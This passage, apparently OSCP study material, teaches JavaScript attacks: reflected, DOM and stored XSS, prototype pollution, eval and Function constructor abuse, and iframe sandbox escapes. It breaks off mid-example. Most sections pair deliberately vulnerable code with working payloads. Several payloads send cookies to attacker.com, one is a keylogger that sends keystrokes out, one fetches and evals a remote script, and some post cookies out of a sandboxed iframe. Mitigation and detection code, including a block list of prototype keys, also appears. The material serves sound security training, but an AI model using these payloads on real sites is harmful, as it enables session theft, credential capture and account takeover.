Domain 3Exploit Dev & AV EvasionCORE

JavaScript-Based Attacks

Deep dive into JavaScript-based attack vectors including injection vectors, gadget chains, prototype pollution, eval abuse, and sandbox escape techniques for OSCP exam preparation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#JavaScript#Gadget-Chains#Sandbox-Escape#Code-Injection#Web-Security

Topic 3: JavaScript-Based Attacks

Table of Contents

  1. Introduction
  2. JavaScript Injection Vectors
  3. JavaScript Gadget Chains
  4. JavaScript Sandbox Escape Techniques
  5. JavaScript Context-Specific Attacks
  6. Advanced Exploitation Techniques
  7. Detection and Mitigation
  8. OSCP Lab Scenarios and Tips
  9. Practice Exercises
  10. Reference Cheat Sheet

1. Introduction

1.1 Overview

JavaScript-based attacks represent one of the most versatile and dangerous attack vectors in client-side exploitation. As the primary language of the web, JavaScript runs in the context of the victim’s browser with access to sensitive data, DOM manipulation capabilities, and network resources. Understanding how to exploit JavaScript vulnerabilities is essential for the OSCP exam, particularly in web application penetration testing scenarios.

1.2 Why JavaScript Attacks Matter for OSCP

  • High Prevalence: JavaScript is ubiquitous in modern web applications
  • Rich Attack Surface: Multiple injection points and execution contexts
  • Chaining Potential: JS vulnerabilities often chain with other weaknesses
  • Exam Relevance: Client-side attacks are a core domain in OSCP
  • Real-World Impact: Many critical vulnerabilities involve JavaScript exploitation

1.3 Attack Classification

JavaScript-Based Attacks
├── Injection-Based
│   ├── Direct Code Injection
│   ├── Event Handler Injection
│   ├── DOM-Based Injection
│   └── Template Injection
├── Gadget Chain Exploitation
│   ├── Prototype Pollution
│   ├── eval() Abuse
│   ├── Function Constructor Abuse
│   └── Timer Function Abuse
├── Sandbox Escapes
│   ├── iframe Bypasses
│   ├── CSP Evasion
│   └── Context Breakout
└── Context-Specific
    ├── JSONP Abuse
    ├── CORS Exploitation
    ├── postMessage Attacks
    └── Hash Fragment Attacks

2. JavaScript Injection Vectors

2.1 URL Parameter Injection

2.1.1 Technical Explanation

URL parameters are one of the most common injection vectors. Attackers can inject malicious JavaScript through query strings, path segments, or hash fragments that get reflected into the page without proper sanitization.

2.1.2 Attack Vectors

Query String Parameters:

// Vulnerable server-side code (Node.js/Express)
app.get('/search', (req, res) => {
    const query = req.query.q; // No sanitization!
    res.send(`
        <html>
            <script>
                var searchQuery = "${query}";
                document.getElementById('results').innerText = searchQuery;
            </script>
        </html>
    `);
});

// Attack payload
// http://target.com/search?q="><script>alert('XSS')</script>

Path Parameters:

// Vulnerable routing
app.get('/user/:username', (req, res) => {
    const username = req.params.username;
    res.send(`<h1>Welcome, ${username}</h1>`);
});

// Attack payload
// http://target.com/user/<img%20src=x%20onerror=alert('XSS')>

Hash Fragment Injection:

// Vulnerable client-side code
window.addEventListener('load', () => {
    const hash = window.location.hash.substring(1);
    document.getElementById('content').innerHTML = decodeURIComponent(hash);
});

// Attack payload
// http://target.com/page#<script>alert('XSS')</script>

2.1.3 Working Code Examples

Example 1: Reflected XSS via URL Parameter

<!-- Vulnerable Page: search.php -->
<?php
$search = $_GET['q'];
?>
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
    <h1>Search Results for: <?php echo $search; ?></h1>
    <div id="results"></div>
    <script>
        // Vulnerable DOM manipulation
        document.getElementById('results').innerHTML = 
            'Showing results for: ' + '<?php echo $search; ?>';
    </script>
</body>
</html>

<!-- Attack URL -->
<!-- http://target.com/search.php?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script> -->

Example 2: DOM-Based XSS via URL

<!-- Vulnerable Page: profile.html -->
<!DOCTYPE html>
<html>
<head><title>User Profile</title></head>
<body>
    <div id="profile"></div>
    <script>
        // Extracts username from URL hash
        var username = window.location.hash.substring(1);
        document.getElementById('profile').innerHTML = 
            '<h2>Profile: ' + username + '</h2>';
    </script>
</body>
</html>

<!-- Attack URL -->
<!-- http://target.com/profile.html#<img%20src=x%20onerror=alert(document.cookie)> -->

2.1.4 Detection Methodology

# Automated Detection
# 1. Burp Suite Scanner - Active scan for XSS
# 2. XSStrike
python3 xsstrike.py -u "http://target.com/search?q=test"

# 3. dalfox
dalfox url "http://target.com/search?q=test"

# Manual Testing Checklist
# - Test all GET parameters
# - Test POST parameters
# - Test URL path segments
# - Test hash fragments
# - Test custom headers
# - Test cookie values

2.1.5 Mitigation Strategies

// Server-side encoding (Node.js)
const he = require('he');

app.get('/search', (req, res) => {
    const query = he.encode(req.query.q); // HTML entity encoding
    res.send(`
        <html>
            <script>
                var searchQuery = ${JSON.stringify(req.query.q)};
                document.getElementById('results').textContent = searchQuery;
            </script>
        </html>
    `);
});

// Content Security Policy
// HTTP Header
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

// Context-aware encoding
function encodeForContext(value, context) {
    switch(context) {
        case 'html':
            return he.encode(value);
        case 'attribute':
            return '"' + he.encode(value) + '"';
        case 'javascript':
            return JSON.stringify(value);
        case 'url':
            return encodeURIComponent(value);
        case 'css':
            return CSS.escape(value);
        default:
            return he.encode(value);
    }
}

2.2 Hash Fragment Attacks

2.2.1 Technical Explanation

The hash fragment (everything after # in a URL) is never sent to the server but is accessible via window.location.hash. Many Single Page Applications (SPAs) use hash-based routing, making this a prime injection target.

2.2.2 Attack Scenarios

SPA Router Exploitation:

// Vulnerable SPA Router
class HashRouter {
    constructor() {
        window.addEventListener('hashchange', () => {
            this.route();
        });
        this.route();
    }

    route() {
        const hash = window.location.hash.substring(1);
        const [page, params] = hash.split('/');
        
        // Vulnerable: Direct innerHTML assignment
        document.getElementById('app').innerHTML = 
            this.renderPage(page, params);
    }

    renderPage(page, params) {
        // No sanitization!
        return `<div class="page-${page}">${params || ''}</div>`;
    }
}

// Attack URL
// http://target.com/#page/<script>alert('XSS')</script>

State Management Exploitation:

// Vulnerable state management
const AppState = {
    init() {
        const state = window.location.hash.substring(1);
        if (state) {
            const parsed = JSON.parse(decodeURIComponent(state));
            this.user = parsed.user;
            this.render();
        }
    },
    
    render() {
        document.getElementById('user').innerHTML = this.user.name;
    }
};

// Attack: Craft malicious hash with script
// http://target.com/#{"user":{"name":"<img%20src=x%20onerror=alert(1)>"}}

2.2.3 Working Code Examples

<!-- Vulnerable Application -->
<!DOCTYPE html>
<html>
<head>
    <title>SPA Application</title>
</head>
<body>
    <div id="app"></div>
    <script>
        // Vulnerable hash-based rendering
        function handleRoute() {
            var hash = window.location.hash.slice(1);
            var parts = hash.split('/');
            
            if (parts[0] === 'profile') {
                var username = parts[1] || 'Guest';
                document.getElementById('app').innerHTML = 
                    '<h1>Profile: ' + username + '</h1>';
            }
        }
        
        window.addEventListener('hashchange', handleRoute);
        handleRoute();
    </script>
</body>
</html>

<!-- Attack URLs -->
<!-- 1. Basic XSS -->
<!-- http://target.com/#profile/<script>alert('XSS')</script> -->

<!-- 2. Cookie Stealing -->
<!-- http://target.com/#profile/<img%20src=x%20onerror="new%20Image().src='http://attacker.com/?c='+document.cookie"> -->

<!-- 3. Keylogger -->
<!-- http://target.com/#profile/<script>document.onkeypress=function(e){new%20Image().src='http://attacker.com/log?k='+e.key}</script> -->

2.3 localStorage and sessionStorage Injection

2.3.1 Technical Explanation

Web Storage APIs (localStorage and sessionStorage) provide persistent key-value storage in the browser. If an application stores user-controlled data in these stores and later renders it without sanitization, it creates a stored XSS vector.

2.3.2 Attack Vectors

Stored XSS via localStorage:

// Vulnerable: Storing user input without sanitization
function saveUserPreference(key, value) {
    localStorage.setItem(key, value); // No validation!
}

// Vulnerable: Rendering stored data without sanitization
function loadUserPreference(key) {
    const value = localStorage.getItem(key);
    document.getElementById('display').innerHTML = value; // XSS!
}

// Attack: Inject malicious script via input field
// Input: <script>alert('XSS')</script>
// Stored in localStorage, executed on next page load

sessionStorage Chain Attack:

// Vulnerable: Cross-page data flow
// Page 1: Stores user input
document.getElementById('submit').addEventListener('click', () => {
    const input = document.getElementById('userInput').value;
    sessionStorage.setItem('userData', input);
    window.location.href = 'page2.html';
});

// Page 2: Renders stored data
window.addEventListener('load', () => {
    const data = sessionStorage.getItem('userData');
    document.getElementById('output').innerHTML = data; // XSS!
});

2.3.3 Working Code Examples

<!-- Vulnerable Application: notes.html -->
<!DOCTYPE html>
<html>
<head><title>My Notes</title></head>
<body>
    <h1>My Notes</h1>
    <textarea id="noteInput" placeholder="Enter your note..."></textarea>
    <button id="saveBtn">Save Note</button>
    <div id="noteDisplay"></div>
    
    <script>
        // Save note to localStorage
        document.getElementById('saveBtn').addEventListener('click', () => {
            const note = document.getElementById('noteInput').value;
            localStorage.setItem('myNote', note);
            alert('Note saved!');
        });
        
        // Load and display note
        window.addEventListener('load', () => {
            const note = localStorage.getItem('myNote');
            if (note) {
                // Vulnerable: innerHTML without sanitization
                document.getElementById('noteDisplay').innerHTML = note;
            }
        });
    </script>
</body>
</html>

<!-- Attack Steps -->
<!-- 1. Enter: <script>document.location='http://attacker.com/steal?c='+document.cookie</script> -->
<!-- 2. Click Save -->
<!-- 3. Refresh page - script executes -->
<!-- 4. Attacker receives victim's cookies -->

2.3.4 Detection Methodology

// Browser Console Detection
// 1. Check localStorage contents
console.log(localStorage);
Object.keys(localStorage).forEach(key => {
    console.log(`${key}: ${localStorage.getItem(key)}`);
});

// 2. Check sessionStorage contents
console.log(sessionStorage);
Object.keys(sessionStorage).forEach(key => {
    console.log(`${key}: ${sessionStorage.getItem(key)}`);
});

// 3. Monitor storage events
window.addEventListener('storage', (e) => {
    console.log('Storage Event:', {
        key: e.key,
        oldValue: e.oldValue,
        newValue: e.newValue,
        url: e.url
    });
});

// 4. Search for storage usage in source code
// Look for: localStorage.setItem, sessionStorage.setItem, innerHTML, document.write

2.3.5 Mitigation Strategies

// Secure Storage Pattern
const SecureStorage = {
    // Sanitize before storing
    set(key, value) {
        const sanitized = this.sanitize(value);
        localStorage.setItem(key, sanitized);
    },
    
    // Use textContent instead of innerHTML
    get(key) {
        return localStorage.getItem(key) || '';
    },
    
    sanitize(input) {
        const div = document.createElement('div');
        div.textContent = input;
        return div.innerHTML; // Returns HTML-encoded string
    },
    
    // Safe rendering
    renderToElement(key, elementId) {
        const value = this.get(key);
        const element = document.getElementById(elementId);
        if (element) {
            element.textContent = value; // Safe: textContent
        }
    }
};

// Usage
SecureStorage.set('myNote', userInput);
SecureStorage.renderToElement('myNote', 'noteDisplay');

2.4.1 Technical Explanation

Cookies can be an injection vector when:

  1. Cookie values are reflected in page content without sanitization
  2. Applications read cookies and use them in JavaScript execution contexts
  3. Cookie manipulation leads to authentication bypass

2.4.2 Attack Vectors

Cookie Reflection:

// Vulnerable: Reading and rendering cookie value
document.addEventListener('DOMContentLoaded', () => {
    const username = document.cookie
        .split('; ')
        .find(row => row.startsWith('username='))
        ?.split('=')[1];
    
    if (username) {
        document.getElementById('welcome').innerHTML = 
            `Welcome, ${decodeURIComponent(username)}!`; // XSS!
    }
});

// Attack: Set malicious cookie
// document.cookie = "username=<script>alert('XSS')</script>";

Cookie Manipulation for Auth Bypass:

// Vulnerable: Client-side auth check
function checkAuth() {
    const session = document.cookie
        .split('; ')
        .find(row => row.startsWith('session='))
        ?.split('=')[1];
    
    if (session === 'admin') {
        document.getElementById('adminPanel').style.display = 'block';
    }
}

// Attack: Manipulate cookie
// document.cookie = "session=admin";
// Bypasses client-side authentication

2.4.3 Working Code Examples

<!-- Vulnerable Application -->
<!DOCTYPE html>
<html>
<head><title>Dashboard</title></head>
<body>
    <div id="welcome"></div>
    <div id="adminPanel" style="display:none">
        <h2>Admin Panel</h2>
    </div>
    
    <script>
        // Vulnerable cookie handling
        function getCookie(name) {
            const value = `; ${document.cookie}`;
            const parts = value.split(`; ${name}=`);
            if (parts.length === 2) return parts.pop().split(';').shift();
        }
        
        // Render cookie value unsafely
        const user = getCookie('user');
        if (user) {
            document.getElementById('welcome').innerHTML = 
                'Hello, ' + user; // XSS vulnerability
        }
        
        // Vulnerable auth check
        const role = getCookie('role');
        if (role === 'admin') {
            document.getElementById('adminPanel').style.display = 'block';
        }
    </script>
</body>
</html>

<!-- Attack 1: XSS via Cookie -->
<!-- Console: document.cookie = "user=<script>alert('XSS')</script>"; -->
<!-- Refresh page -->

<!-- Attack 2: Auth Bypass -->
<!-- Console: document.cookie = "role=admin"; -->
<!-- Refresh page - admin panel visible -->

2.5 POST Data Injection

2.5.1 Technical Explanation

POST data injection occurs when user-submitted form data is reflected or stored without proper sanitization. This is particularly dangerous because POST requests can carry larger payloads than URLs.

2.5.2 Attack Vectors

Form Submission Reflection:

// Vulnerable: Server reflects POST data
app.post('/profile', (req, res) => {
    const { name, bio } = req.body;
    res.send(`
        <html>
            <h1>Profile: ${name}</h1>
            <p>${bio}</p>
            <script>
                var userData = {
                    name: "${name}",
                    bio: "${bio}"
                };
            </script>
        </html>
    `);
});

// Attack: Submit malicious form data
// POST /profile
// name=test&bio=<script>alert('XSS')</script>

AJAX Response Injection:

// Vulnerable: Rendering AJAX response
fetch('/api/user-data', {
    method: 'POST',
    body: JSON.stringify({ query: userInput })
})
.then(res => res.text())
.then(data => {
    document.getElementById('results').innerHTML = data; // XSS!
});

2.5.3 Working Code Examples

<!-- Vulnerable Form -->
<!DOCTYPE html>
<html>
<head><title>Feedback Form</title></head>
<body>
    <h1>Submit Feedback</h1>
    <form id="feedbackForm" action="/submit" method="POST">
        <input type="text" name="name" placeholder="Your Name">
        <textarea name="feedback" placeholder="Your Feedback"></textarea>
        <button type="submit">Submit</button>
    </form>
    <div id="response"></div>
    
    <script>
        // Vulnerable AJAX handling
        document.getElementById('feedbackForm').addEventListener('submit', async (e) => {
            e.preventDefault();
            const formData = new FormData(e.target);
            
            const response = await fetch('/submit', {
                method: 'POST',
                body: formData
            });
            
            const data = await response.text();
            // Vulnerable: innerHTML with server response
            document.getElementById('response').innerHTML = data;
        });
    </script>
</body>
</html>

<!-- Attack Payload (POST body) -->
<!-- name=Hacker&feedback=<script>document.location='http://attacker.com/steal?c='+document.cookie</script> -->

2.6 HTTP Header Injection

2.6.1 Technical Explanation

HTTP headers can be injection vectors when:

  1. Headers are reflected in page content
  2. Custom headers are used in JavaScript without sanitization
  3. Referrer or User-Agent headers are rendered unsafely

2.6.2 Attack Vectors

Referrer Header Injection:

// Vulnerable: Using document.referrer
document.addEventListener('DOMContentLoaded', () => {
    const referrer = document.referrer;
    document.getElementById('source').innerHTML = 
        `You came from: ${referrer}`; // XSS if referrer contains script
});

// Attack: Craft referrer header
// Referer: javascript:alert('XSS')
// Or via redirect page with malicious content

Custom Header Injection:

// Vulnerable: Reading custom headers from meta tags
// Server injects header value into page
const customValue = "{{ request.headers.X-Custom-Header }}";
document.getElementById('display').innerHTML = customValue;

// Attack: Set malicious custom header
// X-Custom-Header: <script>alert('XSS')</script>

2.6.3 Working Code Examples

# Vulnerable Flask Application
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/page')
def page():
    referrer = request.referrer or 'Direct'
    user_agent = request.headers.get('User-Agent', 'Unknown')
    
    template = f'''
    <!DOCTYPE html>
    <html>
    <body>
        <h1>Welcome</h1>
        <p>Referrer: {referrer}</p>
        <p>User Agent: {user_agent}</p>
        <script>
            var referrer = "{referrer}";
            var userAgent = "{user_agent}";
            document.getElementById('info').innerHTML = 
                'From: ' + referrer + '<br>UA: ' + userAgent;
        </script>
    </body>
    </html>
    '''
    return render_template_string(template)

# Attack via curl
# curl -H "Referer: <script>alert('XSS')</script>" http://target.com/page

2.7 Injection Vector Summary Table

Vector Risk Level Persistence Detection Difficulty Common Contexts
URL Parameters High Reflected Low Search, filters, pagination
Hash Fragments High Reflected Medium SPAs, client-side routing
localStorage Critical Stored Medium Preferences, state management
sessionStorage High Session Medium Multi-step forms, wizards
Cookies High Persistent Low Auth, user preferences
POST Data High Reflected/Stored Medium Forms, API submissions
HTTP Headers Medium Reflected High Referrer, custom headers

3. JavaScript Gadget Chains

3.1 Overview of Gadget Chains

A gadget chain in JavaScript is a sequence of function calls or code paths that, when combined, lead to arbitrary code execution. Unlike traditional ROP chains in binary exploitation, JS gadget chains leverage the language’s dynamic nature and built-in functions.

Gadget Chain Flow:
User Input → Sink Function → Gadget 1 → Gadget 2 → ... → Code Execution

3.2 Prototype Pollution

3.2.1 Technical Explanation

Prototype pollution occurs when an attacker can modify JavaScript’s Object prototype (Object.prototype). Since all objects inherit from Object.prototype, polluting it affects all objects in the application, potentially leading to:

  • Denial of Service
  • Property injection
  • Authentication bypass
  • Remote Code Execution (when combined with other vulnerabilities)

3.2.2 Attack Mechanisms

Direct Prototype Pollution:

// Vulnerable: Deep merge without protection
function deepMerge(target, source) {
    for (let key in source) {
        if (source.hasOwnProperty(key)) {
            if (key in target && typeof target[key] === 'object' && 
                typeof source[key] === 'object') {
                deepMerge(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
    }
    return target;
}

// Attack: Pollute prototype
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
const obj = {};
deepMerge(obj, userInput);

console.log({}.isAdmin); // true - ALL objects now have isAdmin!

JSON-based Prototype Pollution:

// Vulnerable: Parsing and merging user JSON
function processConfig(userConfig) {
    const defaultConfig = {
        theme: 'light',
        language: 'en',
        isAdmin: false
    };
    
    // Vulnerable merge
    Object.assign(defaultConfig, JSON.parse(userConfig));
    
    return defaultConfig;
}

// Attack payloads
// Payload 1: __proto__ chain
// {"__proto__": {"isAdmin": true}}

// Payload 2: constructor.prototype chain
// {"constructor": {"prototype": {"isAdmin": true}}}

// Payload 3: Direct prototype access
// {"__proto__": {"isAdmin": true, "role": "admin"}}

3.2.3 Working Code Examples

Example 1: Authentication Bypass via Prototype Pollution

// Vulnerable Authentication System
class AuthManager {
    constructor() {
        this.users = {};
    }
    
    // Vulnerable: Merges user data without protection
    updateUser(userId, updates) {
        if (!this.users[userId]) {
            this.users[userId] = {};
        }
        
        // Vulnerable deep merge
        this.deepMerge(this.users[userId], updates);
    }
    
    deepMerge(target, source) {
        for (let key in source) {
            if (typeof source[key] === 'object' && source[key] !== null) {
                if (!target[key]) target[key] = {};
                this.deepMerge(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
    }
    
    // Check if user is admin
    isAdmin(userId) {
        return this.users[userId]?.isAdmin === true;
    }
}

// Attack
const auth = new AuthManager();
const maliciousData = JSON.parse('{"__proto__": {"isAdmin": true}}');
auth.updateUser('user1', maliciousData);

// Now ALL users are admins!
console.log(auth.isAdmin('user1')); // true
console.log(auth.isAdmin('anyone')); // true (if exists)
console.log({}.isAdmin); // true - prototype polluted!

Example 2: RCE via Prototype Pollution + eval

// Vulnerable Application
class App {
    constructor() {
        this.config = {};
    }
    
    // Vulnerable: Merges config from user input
    loadConfig(configStr) {
        const userConfig = JSON.parse(configStr);
        this.mergeConfig(this.config, userConfig);
    }
    
    mergeConfig(target, source) {
        for (let key in source) {
            if (typeof source[key] === 'object') {
                if (!target[key]) target[key] = {};
                this.mergeConfig(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
    }
    
    // Vulnerable: Uses eval with config value
    executeCommand() {
        if (this.config.command) {
            eval(this.config.command); // RCE!
        }
    }
}

// Attack
const app = new App();
const payload = '{"__proto__": {"command": "alert(\'RCE\')"}}';
app.loadConfig(payload);
app.executeCommand(); // Executes alert('RCE')

// Even worse - steal cookies
const rcePayload = '{"__proto__": {"command": "new Image().src=\'http://attacker.com/?c=\'+document.cookie"}}';
app.loadConfig(rcePayload);
app.executeCommand();

3.2.4 Detection Methodology

// Detection Script
function detectPrototypePollution() {
    const suspiciousKeys = [
        '__proto__',
        'prototype',
        'constructor',
        'proto'
    ];
    
    // Check for polluted properties
    const commonPollutedProps = [
        'isAdmin', 'role', 'authenticated', 
        'permissions', 'accessLevel'
    ];
    
    let findings = [];
    
    commonPollutedProps.forEach(prop => {
        if (prop in Object.prototype) {
            findings.push(`CRITICAL: Object.prototype.${prop} is polluted!`);
        }
    });
    
    // Check for suspicious JSON parsing
    const originalParse = JSON.parse;
    JSON.parse = function(text) {
        if (text.includes('__proto__') || text.includes('constructor.prototype')) {
            console.warn('Potential prototype pollution attempt detected!');
            console.warn('Input:', text);
        }
        return originalParse.apply(this, arguments);
    };
    
    return findings;
}

// Run detection
console.log(detectPrototypePollution());

3.2.5 Mitigation Strategies

// Secure Deep Merge
function secureDeepMerge(target, source) {
    if (!isObject(target) || !isObject(source)) {
        return source;
    }
    
    const result = { ...target };
    
    for (const key of Object.keys(source)) {
        // Block prototype pollution keys
        if (key === '__proto__' || key === 'prototype' || key === 'constructor') {
            continue;
        }
        
        if (isObject(result[key]) && isObject(source[key])) {
            result[key] = secureDeepMerge(result[key], source[key]);
        } else {
            result[key] = source[key];
        }
    }
    
    return result;
}

function isObject(item) {
    return item && typeof item === 'object' && !Array.isArray(item);
}

// Alternative: Use Object.create(null) for clean objects
function createCleanObject() {
    return Object.create(null);
}

// Freeze Object.prototype (prevents pollution)
Object.freeze(Object.prototype);

// Use lodash mergeWith with custom customizer
const _ = require('lodash');
_.mergeWith(target, source, (objValue, srcValue, key) => {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
        return undefined; // Skip dangerous keys
    }
});

3.3 eval() Chain Exploitation

3.3.1 Technical Explanation

The eval() function executes a string as JavaScript code. When user input reaches eval(), it leads to direct Remote Code Execution. Even indirect paths to eval() through function chains are dangerous.

3.3.2 Direct eval() Exploitation

// Direct eval - Most dangerous
function processInput(userInput) {
    const result = eval(userInput); // Direct RCE!
    return result;
}

// Attack
processInput("alert('XSS')");
processInput("document.location='http://attacker.com/?c='+document.cookie");

3.3.3 Indirect eval() Chains

// Indirect eval through variable
function processData(data) {
    const func = eval; // Reference to eval
    func(data); // Still RCE!
}

// Through function reference
const functions = {
    calculate: (expr) => eval(expr),
    process: (data) => eval(`(${data})`)
};

// Attack
functions.calculate("alert('XSS')");

3.3.4 Working Code Examples

Example 1: Calculator RCE

<!-- Vulnerable Calculator -->
<!DOCTYPE html>
<html>
<head><title>Calculator</title></head>
<body>
    <h1>Calculator</h1>
    <input type="text" id="expression" placeholder="Enter expression">
    <button id="calcBtn">Calculate</button>
    <div id="result"></div>
    
    <script>
        document.getElementById('calcBtn').addEventListener('click', () => {
            const expr = document.getElementById('expression').value;
            try {
                // Vulnerable: eval for calculation
                const result = eval(expr);
                document.getElementById('result').textContent = result;
            } catch (e) {
                document.getElementById('result').textContent = 'Error: ' + e.message;
            }
        });
    </script>
</body>
</html>

<!-- Attack Expressions -->
<!-- 1. Basic XSS -->
<!-- alert('XSS') -->

<!-- 2. Cookie theft -->
<!-- new Image().src='http://attacker.com/?c='+document.cookie -->

<!-- 3. DOM manipulation -->
<!-- document.body.innerHTML='<h1>Hacked</h1>' -->

<!-- 4. Fetch external script -->
<!-- fetch('http://attacker.com/malicious.js').then(r=>r.text()).then(t=>eval(t)) -->

Example 2: Template Engine RCE

// Vulnerable Template Engine
class TemplateEngine {
    render(template, data) {
        // Replace {{key}} with data[key]
        let result = template;
        for (let key in data) {
            const regex = new RegExp(`\\{\\{${key}\\}\\}`, 'g');
            result = result.replace(regex, data[key]);
        }
        
        // Vulnerable: eval for dynamic expressions
        if (result.includes('{{{')) {
            const exprMatch = result.match(/\{\{\{(.*?)\}\}\}/);
            if (exprMatch) {
                const expr = exprMatch[1];
                result = result.replace(exprMatch[0], eval(expr));
            }
        }
        
        return result;
    }
}

// Attack
const engine = new TemplateEngine();
const template = 'Hello, {{{user.name}}}!';
const data = {
    user: {
        name: '}});alert("XSS");//'
    }
};
engine.render(template, data); // Executes alert("XSS")

3.4 setTimeout/setInterval Abuse

3.4.1 Technical Explanation

setTimeout() and setInterval() can execute strings as code when a string is passed as the first argument (instead of a function). This creates an indirect code execution vector.

3.4.2 Attack Vectors

String-based setTimeout:

// Vulnerable: String argument to setTimeout
function scheduleTask(userInput) {
    setTimeout(userInput, 1000); // If userInput is a string, it's eval'd!
}

// Attack
scheduleTask("alert('XSS')");

Dynamic Function Construction:

// Vulnerable: Building function from user input
function createTimer(action, delay) {
    const code = `function() { ${action} }`;
    setTimeout(code, delay); // String becomes code!
}

// Attack
createTimer("alert('XSS')", 1000);

3.4.3 Working Code Examples

// Vulnerable Notification System
class NotificationSystem {
    constructor() {
        this.notifications = [];
    }
    
    // Vulnerable: User controls callback string
    scheduleNotification(message, callback, delay) {
        this.notifications.push({
            message,
            callback,
            delay
        });
        
        // Vulnerable: String callback
        setTimeout(callback, delay);
    }
    
    // Vulnerable: Dynamic interval
    startPolling(endpoint, interval) {
        const code = `fetch('${endpoint}').then(r => r.json())`;
        setInterval(code, interval); // String becomes code!
    }
}

// Attack
const notifier = new NotificationSystem();
notifier.scheduleNotification(
    'Test', 
    "alert('XSS')", 
    1000
);

notifier.startPolling(
    "http://attacker.com/evil', 1000); alert('XSS');//",
    5000
);

3.5 Function Constructor Abuse

3.5.1 Technical Explanation

The Function constructor creates a new function from a string, similar to eval() but with some differences in scope. It’s another indirect code execution vector.

3.5.2 Attack Mechanisms

// Direct Function constructor
function executeCode(code) {
    const func = new Function(code);
    func(); // Executes the code!
}

// Attack
executeCode("alert('XSS')");

// With arguments
function executeWithArgs(code, arg) {
    const func = new Function('arg', code);
    func(arg);
}

executeWithArgs("console.log(arg)", "Hello from Function constructor!");

3.5.3 Working Code Examples

// Vulnerable Plugin System
class PluginSystem {
    constructor() {
        this.plugins = {};
    }
    
    // Vulnerable: Creates function from user input
    registerPlugin(name, code) {
        this.plugins[name] = new Function(code);
    }
    
    executePlugin(name, ...args) {
        if (this.plugins[name]) {
            return this.plugins[name](...args);
        }
    }
}

// Attack
const plugins = new PluginSystem();
plugins.registerPlugin('malicious', `
    return {
        execute: function() {
            new Image().src = 'http://attacker.com/?c=' + document.cookie;
        }
    };
`);

const maliciousPlugin = plugins.executePlugin('malicious');
maliciousPlugin.execute(); // Steals cookies!

3.6 Gadget Chain Summary

Gadget Type Risk Level Complexity RCE Potential Common Sources
Prototype Pollution Critical Medium Yes (with sink) JSON merge, config loading
eval() Critical Low Yes Calculators, templates
setTimeout/setInterval High Low Yes Task scheduling, polling
Function Constructor Critical Low Yes Plugin systems, dynamic code
JSON.parse + eval Critical Medium Yes API responses, configs

4. JavaScript Sandbox Escape Techniques

4.1 Overview

JavaScript sandboxes are security mechanisms that restrict code execution. Understanding how to escape these sandboxes is crucial for advanced exploitation. Common sandbox types include:

  1. iframe sandbox - HTML5 sandbox attribute
  2. Content Security Policy (CSP) - Browser security policy
  3. Custom sandboxes - Application-level restrictions
  4. Service Worker scope - Limited execution context

4.2 iframe Sandbox Bypasses

4.2.1 Technical Explanation

The HTML5 sandbox attribute restricts iframe content. Different sandbox flags control various capabilities:

<iframe sandbox="allow-scripts allow-forms"></iframe>

Available sandbox flags:

  • allow-forms - Allows form submission
  • allow-scripts - Allows script execution
  • allow-same-origin - Treats content as same origin
  • allow-popups - Allows opening new windows
  • allow-top-navigation - Allows top-level navigation
  • allow-popups-to-escape-sandbox - Allows popups to inherit sandbox

4.2.2 Bypass Techniques

Technique 1: Form Submission Escape

<!-- Sandboxed iframe with allow-forms and allow-scripts -->
<iframe sandbox="allow-scripts allow-forms" src="sandboxed.html"></iframe>

<!-- Inside sandboxed.html -->
<!DOCTYPE html>
<html>
<body>
    <script>
        // Escape via form submission to top
        const form = document.createElement('form');
        form.method = 'POST';
        form.action = 'http://attacker.com/collect';
        form.target = '_top'; // Breaks out to top frame!
        
        const input = document.createElement('input');
        input.name = 'cookie';
        input.value = document.cookie;
        
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    </script>
</body>
</html>

Technique 2: DOM-based Redirect

// Inside sandboxed iframe with allow-scripts
// Escape via window.location manipulation
window.top.location = 'http://attacker.com/phishing';

// Or via meta refresh
document.write('<meta http-equiv="refresh" content="0;url=http://attacker.com">');

Technique 3: postMessage Exploitation

// Inside sandboxed iframe
// Send message to parent with malicious payload
window.parent.postMessage({
    type: 'execute',
    code: 'alert("XSS from sandboxed iframe")'
}, '*');

// If parent has vulnerable message handler:
// window.addEventListener('message', (e) => {
//     if (e.data.type === 'execute') {
//         eval(e.data.code); // RCE!
//     }
// });

4.2.3 Working Code Examples

Complete Sandbox Escape Demo:

<!-- Parent Page -->
<!DOCTYPE html>
<html>
<head><title>Sandbox Demo</title></head>
<body>
    <h1>Main Page</h1>
    <iframe id="sandboxed" sandbox="allow-scripts allow-forms" src="sandbox.html"></iframe>
    
    <script>
        // Vulnerable message handler
        window.addEventListener('message', (event) => {
            console.log('Received:', event.data);
            
            // Vulnerable: No origin check, executes received code
            if (event.data.command) {
                eval(event.data.command);
            }
        });
    </script>
</body>
</html>

<!-- sandbox.html (Inside iframe) -->
<!DOCTYPE html>
<html>
<head><title>Sandboxed Content</title></head>
<body>
    <h1>I'm in a sandbox!</h1>
    <p>Sandbox flags: allow-scripts, allow-forms</p>
    
    <script>
        // Escape Method 1: postMessage to parent
        window.parent.postMessage({
            command: "alert('Escaped sandbox via postMessage!')"
        }, '*');
        
        // Escape Method 2: Form submission
        function escapeViaForm() {
            const form = document.createElement('form');
            form.action = 'http://attacker.com/steal';
            form.method = 'POST';
            form.target = '_top';
            
            const input = document.createElement('input');
            input.type = 'hidden';
            input.name = 'data';
            input.value = 'Escaped via form!';
            
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        
        // Escape Method 3: Open new window
        function escapeViaWindow() {
            window.open('http://attacker.com/phishing', '_top');
        }
    </script>
</body>
</html>

4.3 allow-scripts Exploitation

4.3.1 Technical Explanation

When allow-scripts is set, the iframe can execute JavaScript. Combined with other flags, this creates powerful attack vectors.

4.3.2 Attack Chains

Chain 1: allow-scripts + allow-forms

// Most dangerous combination
// Can execute scripts AND submit forms

// Steal data via form
const form = document.createElement('form');
form.action = 'http://attacker.com/collect';
form.method = 'POST';
